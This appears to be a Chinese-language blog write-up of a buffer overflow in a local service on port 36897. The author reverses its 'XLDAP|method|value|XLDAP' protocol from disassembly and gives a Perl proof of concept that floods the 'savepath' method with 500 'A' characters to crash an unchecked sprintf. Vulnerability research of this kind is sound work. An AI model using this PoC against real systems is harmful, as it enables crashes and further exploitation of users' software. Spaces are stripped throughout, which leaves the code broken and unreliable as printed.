C:>netstat-na|find"36897"
TCP127.0.0.1:368970.0.0.0:0LISTENING
绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。
......
23132CBE68B4C61323push2313C6B4;ASCII"savepath"
23132CC357pushedi
23132CC4FFD6callesi
23132CC659popecx
23132CC784C0testal,al
......
23132CEF85FFtestedi,edi
23132CF17402jeshort23132CF5
23132CF38BCFmovecx,edi
23132CF5B8D4C61323moveax,2313C6D4;ASCII"XLDAP"
23132CFA50pusheax
23132CFB52pushedx
23132CFC51pushecx
23132CFD50pusheax
23132CFE8D855CFEFFFFleaeax,dwordptr[ebp-1A4]
23132D0468C0C61323push2313C6C0;ASCII"%s|%s|%s|%s"
......
根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懒看了下介绍,问题出在savepath方法上,那么构造数据就很简单了,POC如下:
#!/usr/bin/perl
useIO::Socket;
if($socket=IO::Socket::INET->new(PeerAddr=>"127.0.0.1",PeerPort=>"36897",Proto=>"TCP"))
{
$exploit="XLDAP|savepath|".
#("A"x397).
("A"x500).
"|XLDAP";
print$socket$exploit;
sleep(1);
close($socket);
}
else
{
print"Cannotconnecttolocalhost:36897portn";
}
如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行,就算使用[:-1]这种方法也没用,郁闷,目前不清楚是传递的过程还是print的时候,谁知道是什么原因?
23132D0950pusheax
23132D0AFF1554E51323calldwordptr[<&MSVCRT.sprintf>];crash
23132D108D855CFEFFFFleaeax,dwordptr[ebp-1A4]
就是在执行这步sprintf函数复制的时候导致crash。